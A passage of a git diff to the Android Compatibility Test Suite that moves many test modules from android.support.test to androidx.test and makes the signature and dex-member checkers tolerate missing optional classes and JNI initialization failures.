     </entry>
 </dynamicConfig>
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
index 477c781..af5c4b9 100644
--- a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -22,12 +22,12 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.signature.cts.ApiDocumentParser;
-import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
 
 import org.junit.Assert;
diff --git a/tests/signature/src/android/signature/cts/AbstractApiChecker.java b/tests/signature/src/android/signature/cts/AbstractApiChecker.java
index 3ea16e1..546b921 100644
--- a/tests/signature/src/android/signature/cts/AbstractApiChecker.java
+++ b/tests/signature/src/android/signature/cts/AbstractApiChecker.java
@@ -62,12 +62,14 @@
                     .findRequiredClass(classDescription, classProvider);
 
             if (runtimeClass == null) {
-                // No class found, notify the observer according to the class type
-                resultObserver.notifyFailure(FailureType.missing(classDescription),
-                        classDescription.getAbsoluteClassName(),
-                        "Classloader is unable to find " + classDescription
-                                .getAbsoluteClassName());
-
+                // No class found, notify the observer according to the class type,
+                // if missing a class isn't acceptable.
+                if (!allowMissingClass(classDescription)) {
+                    resultObserver.notifyFailure(FailureType.missing(classDescription),
+                            classDescription.getAbsoluteClassName(),
+                            "Classloader is unable to find " + classDescription
+                                    .getAbsoluteClassName());
+                }
                 return null;
             }
 
@@ -106,6 +108,17 @@
 
 
     /**
+     * Checks that a class that exists in the API xml file but that does not exist
+     * in the runtime is allowed or not.
+     *
+     * @param classDescription the class description that is missing.
+     * @return true if missing the class is acceptable.
+     */
+    protected boolean allowMissingClass(JDiffClassDescription classDescription) {
+        return false;
+    }
+
+    /**
      * Checks all fields in test class for compliance with the API xml.
      *
      * @param classDescription a description of a class in an API.
diff --git a/tests/signature/src/android/signature/cts/AnnotationChecker.java b/tests/signature/src/android/signature/cts/AnnotationChecker.java
index 9419df1..ab111a4 100644
--- a/tests/signature/src/android/signature/cts/AnnotationChecker.java
+++ b/tests/signature/src/android/signature/cts/AnnotationChecker.java
@@ -95,6 +95,17 @@
     }
 
     @Override
+    protected boolean allowMissingClass(JDiffClassDescription classDescription) {
+        // A class that exist in the API document is not found in the runtime.
+        // This can happen for classes that are optional (e.g. classes for
+        // Android Auto). This, however, should not be considered as a test
+        // failure, because the purpose of this test is to ensure that every
+        // runtime classes found in the device have more annotations than
+        // the documented.
+        return true;
+    }
+
+    @Override
     protected boolean checkClass(JDiffClassDescription classDescription, Class<?> runtimeClass) {
         // remove the class from the set if found
         annotatedClassesMap.remove(runtimeClass.getName());
diff --git a/tests/signature/src/android/signature/cts/DexMemberChecker.java b/tests/signature/src/android/signature/cts/DexMemberChecker.java
index 528e868..1efdbad 100644
--- a/tests/signature/src/android/signature/cts/DexMemberChecker.java
+++ b/tests/signature/src/android/signature/cts/DexMemberChecker.java
@@ -16,6 +16,7 @@
 
 package android.signature.cts;
 
+import android.util.Log;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Executable;
 import java.lang.reflect.Field;
@@ -24,6 +25,7 @@
 import java.util.List;
 
 public class DexMemberChecker {
+    public static final String TAG = "DexMemberChecker";
 
     public interface Observer {
         void classAccessible(boolean accessible, DexMember member);
@@ -85,17 +87,39 @@
             observer.fieldAccessibleViaReflection(
                     hasMatchingField_Reflection(klass, field),
                     field);
-            observer.fieldAccessibleViaJni(
-                    hasMatchingField_JNI(klass, field),
-                    field);
+            try {
+                observer.fieldAccessibleViaJni(
+                        hasMatchingField_JNI(klass, field),
+                        field);
+            } catch (ExceptionInInitializerError | UnsatisfiedLinkError | NoClassDefFoundError e) {
+                if ((e instanceof NoClassDefFoundError)
+                        && !(e.getCause() instanceof ExceptionInInitializerError)
+                        && !(e.getCause() instanceof UnsatisfiedLinkError)) {
+                    throw e;
+                }
+
+                // Could not initialize the class. Skip JNI test.
+                Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
+            }
         } else if (dexMember instanceof DexMethod) {
             DexMethod method = (DexMethod) dexMember;
             observer.methodAccessibleViaReflection(
                     hasMatchingMethod_Reflection(klass, method),
                     method);
-            observer.methodAccessibleViaJni(
-                    hasMatchingMethod_JNI(klass, method),
-                    method);
+            try {
+                observer.methodAccessibleViaJni(
+                        hasMatchingMethod_JNI(klass, method),
+                        method);
+            } catch (ExceptionInInitializerError | UnsatisfiedLinkError | NoClassDefFoundError e) {
+                if ((e instanceof NoClassDefFoundError)
+                        && !(e.getCause() instanceof ExceptionInInitializerError)
+                        && !(e.getCause() instanceof UnsatisfiedLinkError)) {
+                    throw e;
+                }
+
+                // Could not initialize the class. Skip JNI test.
+                Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
+            }
         } else {
             throw new IllegalStateException("Unexpected type of dex member");
         }
@@ -134,10 +158,25 @@
     }
 
     private static boolean hasMatchingField_JNI(Class<?> klass, DexField dexField) {
-        Field ifield = getField_JNI(klass, dexField.getName(), dexField.getDexType());
-        Field sfield = getStaticField_JNI(klass, dexField.getName(), dexField.getDexType());
-        return (ifield != null && ifield.getDeclaringClass() == klass) ||
-               (sfield != null && sfield.getDeclaringClass() == klass);
+        try {
+            Field ifield = getField_JNI(klass, dexField.getName(), dexField.getDexType());
+            if (ifield.getDeclaringClass() == klass) {
+              return true;
+            }
+        } catch (NoSuchFieldError e) {
+            // Not found.
+        }
+
+        try {
+            Field sfield = getStaticField_JNI(klass, dexField.getName(), dexField.getDexType());
+            if (sfield.getDeclaringClass() == klass) {
+              return true;
+            }
+        } catch (NoSuchFieldError e) {
+            // Not found.
+        }
+
+        return false;
     }
 
     private static boolean hasMatchingMethod_Reflection(Class<?> klass, DexMethod dexMethod) {
@@ -163,11 +202,29 @@
     }
 
     private static boolean hasMatchingMethod_JNI(Class<?> klass, DexMethod dexMethod) {
-        Executable imethod = getMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
-        Executable smethod = dexMethod.isConstructor() ? null :
-             getStaticMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
-        return (imethod != null && imethod.getDeclaringClass() == klass) ||
-               (smethod != null && smethod.getDeclaringClass() == klass);
+        try {
+            Executable imethod = getMethod_JNI(
+                klass, dexMethod.getName(), dexMethod.getDexSignature());
+            if (imethod.getDeclaringClass() == klass) {
+                return true;
+            }
+        } catch (NoSuchMethodError e) {
+            // Not found.
+        }
+
+        if (!dexMethod.isConstructor()) {
+            try {
+                Executable smethod =
+                    getStaticMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
+                if (smethod.getDeclaringClass() == klass) {
+                    return true;
+                }
+            } catch (NoSuchMethodError e) {
+                // Not found.
+            }
+        }
+
+        return false;
     }
 
     private static native Field getField_JNI(Class<?> klass, String name, String type);
diff --git a/tests/simplecpu/Android.mk b/tests/simplecpu/Android.mk
index 618a9bc..e6713d4 100644
--- a/tests/simplecpu/Android.mk
+++ b/tests/simplecpu/Android.mk
@@ -21,7 +21,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JNI_SHARED_LIBRARIES := libctscpu_jni
 
diff --git a/tests/simplecpu/AndroidManifest.xml b/tests/simplecpu/AndroidManifest.xml
index 4b5febf..22b7dfa 100644
--- a/tests/simplecpu/AndroidManifest.xml
+++ b/tests/simplecpu/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.simplecpu.cts"
             android:label="CTS tests for simple CPU" />
 </manifest>
diff --git a/tests/systemAppTest/test/Android.mk b/tests/systemAppTest/test/Android.mk
index e15d259..0c94019 100644
--- a/tests/systemAppTest/test/Android.mk
+++ b/tests/systemAppTest/test/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_APPS_PRIVILEGED)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index d816707..c559252 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsAccountTestsCommon ctstestrunner platform-test-annotations
+    CtsAccountTestsCommon ctstestrunner-axt platform-test-annotations
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/accounts/AndroidManifest.xml b/tests/tests/accounts/AndroidManifest.xml
index ec3d42d..a31b77a 100644
--- a/tests/tests/accounts/AndroidManifest.xml
+++ b/tests/tests/accounts/AndroidManifest.xml
@@ -63,7 +63,7 @@
         </service>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.accounts.cts"
                      android:label="CTS tests for android.accounts">
         <meta-data android:name="listener"
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index 9428279..03479db 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SDK_VERSION := current
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner \
+	ctstestrunner-axt \
 	CtsAccountTestsCommon
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
index 1b4f873..88fe785 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
@@ -44,7 +44,7 @@
  *  adb shell am instrument
  *   -e debug false -w
  *   -e class android.accounts.cts.AbstractAuthenticatorTests
- * android.accounts.cts/android.support.test.runner.AndroidJUnitRunner
+ * android.accounts.cts/androidx.test.runner.AndroidJUnitRunner
  */
 public class AbstractAuthenticatorTests extends AndroidTestCase {
 
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
index 4db2fd6..47bda38 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
@@ -28,11 +28,9 @@
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
-import android.os.Binder;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
-import android.os.IBinder;
 import android.os.Looper;
 import android.os.StrictMode;
 import android.platform.test.annotations.AppModeFull;
@@ -55,7 +53,7 @@
  *  adb shell am instrument
  *   -e debug false -w
  *   -e class android.accounts.cts.AccountManagerTest
- * android.accounts.cts/android.support.test.runner.AndroidJUnitRunner
+ * android.accounts.cts/androidx.test.runner.AndroidJUnitRunner
  */
 public class AccountManagerTest extends ActivityInstrumentationTestCase2<AccountDummyActivity> {
 
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
index ebd6a13..a11de75 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
@@ -46,7 +46,7 @@
  *  adb shell am instrument
  *   -e debug false -w
  *   -e class android.accounts.cts.AccountManagerUnaffiliatedAuthenticatorTests
- * android.accounts.cts/android.support.test.runner.AndroidJUnitRunner
+ * android.accounts.cts/androidx.test.runner.AndroidJUnitRunner
  */
 public class AccountManagerUnaffiliatedAuthenticatorTests extends AndroidTestCase {
 
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index 5d5c4e4..feb5792 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/alarmclock/AndroidManifest.xml b/tests/tests/alarmclock/AndroidManifest.xml
index c0193dd..15b47c4 100644
--- a/tests/tests/alarmclock/AndroidManifest.xml
+++ b/tests/tests/alarmclock/AndroidManifest.xml
@@ -37,7 +37,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.alarmclock.cts"
                      android:label="CTS tests of android.alarmclock">
         <meta-data android:name="listener"
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
index 3873ddb..f64cfe4 100644
--- a/tests/tests/alarmclock/service/Android.mk
+++ b/tests/tests/alarmclock/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 293f75f..b5eb791 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -25,11 +25,11 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
-    android-support-test \
+    androidx.test.rules \
     mockito-target-minus-junit4 \
     android-common \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     platform-test-annotations
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/animation/AndroidManifest.xml b/tests/tests/animation/AndroidManifest.xml
index 776ce13..6e8704e 100644
--- a/tests/tests/animation/AndroidManifest.xml
+++ b/tests/tests/animation/AndroidManifest.xml
@@ -28,7 +28,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.animation.cts"
                      android:label="CTS tests for android.animation package">
         <meta-data android:name="listener"
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
index cb87f29..fb1d07a 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
@@ -16,8 +16,9 @@
 package android.animation.cts;
 
 import android.animation.AnimatorListenerAdapter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
index 8a5e974..6888a30 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
@@ -35,15 +35,16 @@
 import android.animation.TimeInterpolator;
 import android.animation.ValueAnimator;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.animation.AccelerateDecelerateInterpolator;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.LinearInterpolator;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
index 655eb1c..b38c434 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
@@ -27,13 +27,14 @@
 import android.animation.ValueAnimator;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/CreationTest.java b/tests/tests/animation/src/android/animation/cts/CreationTest.java
index 5bdd2a6..922aa40 100644
--- a/tests/tests/animation/src/android/animation/cts/CreationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/CreationTest.java
@@ -21,11 +21,12 @@
 import android.animation.AnimatorInflater;
 import android.animation.ObjectAnimator;
 import android.animation.ValueAnimator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java b/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
index 0e9a462..8bec5f8 100644
--- a/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
@@ -29,8 +29,9 @@
 import android.graphics.Color;
 import android.graphics.PointF;
 import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java b/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java
index bcb9bec..a7dc824 100644
--- a/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java
@@ -18,13 +18,14 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AnimationUtils;
 import android.view.animation.Interpolator;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/KeyframeTest.java b/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
index 1072487..b3a1d84 100644
--- a/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
+++ b/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
@@ -21,10 +21,11 @@
 
 import android.animation.Keyframe;
 import android.animation.TimeInterpolator;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
index da08929..ba1cc47 100644
--- a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
@@ -27,16 +27,17 @@
 import android.animation.PropertyValuesHolder;
 import android.animation.TimeInterpolator;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.animation.AccelerateInterpolator;
 import android.widget.Button;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
index f19b177..ba45d99 100644
--- a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
@@ -38,15 +38,16 @@
 import android.graphics.Path;
 import android.graphics.PointF;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Property;
 import android.view.View;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.Interpolator;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
index 3b827ec..c82be8e 100644
--- a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
+++ b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
@@ -37,15 +37,16 @@
 import android.graphics.PointF;
 import android.graphics.drawable.ShapeDrawable;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.FloatProperty;
 import android.util.Property;
 import android.view.View;
 import android.view.animation.AccelerateInterpolator;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
index 59b8e5db..f7d7f57 100644
--- a/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
@@ -37,14 +37,15 @@
 import android.graphics.Color;
 import android.graphics.PointF;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.LinearInterpolator;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index eb22828..38a4fb4 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -26,9 +26,9 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     junit \
     ub-uiautomator
 
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index 9c4342f..1eae847 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -41,7 +41,7 @@
         <activity android:name=".FragmentTestActivity" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.app.usage.cts"
                      android:label="CTS tests of android.app.usage">
         <meta-data android:name="listener"
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index a045488..a74b5a8 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -41,8 +41,6 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
@@ -52,6 +50,9 @@
 import android.util.SparseLongArray;
 import android.view.KeyEvent;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.AppStandbyUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index a77c038..ea5d9e6 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -28,8 +28,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test \
+    ctstestrunner-axt \
+    androidx.test.rules \
     junit
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/app/AndroidManifest.xml b/tests/tests/app/AndroidManifest.xml
index 707b22b..ef8c1a8 100644
--- a/tests/tests/app/AndroidManifest.xml
+++ b/tests/tests/app/AndroidManifest.xml
@@ -30,7 +30,7 @@
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.app.cts"
                      android:label="CTS tests of android.app">
         <meta-data android:name="listener"
diff --git a/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java b/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
index e6c4234..ebc5a3f 100644
--- a/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
+++ b/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
@@ -19,9 +19,10 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
-import android.support.test.filters.SmallTest;
 import android.test.ActivityInstrumentationTestCase2;
 
+import androidx.test.filters.SmallTest;
+
 import java.util.concurrent.Future;
 
 /**
diff --git a/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java b/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
index da02a81..0f98d0e 100644
--- a/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
+++ b/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
@@ -18,10 +18,10 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.app.Instrumentation;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
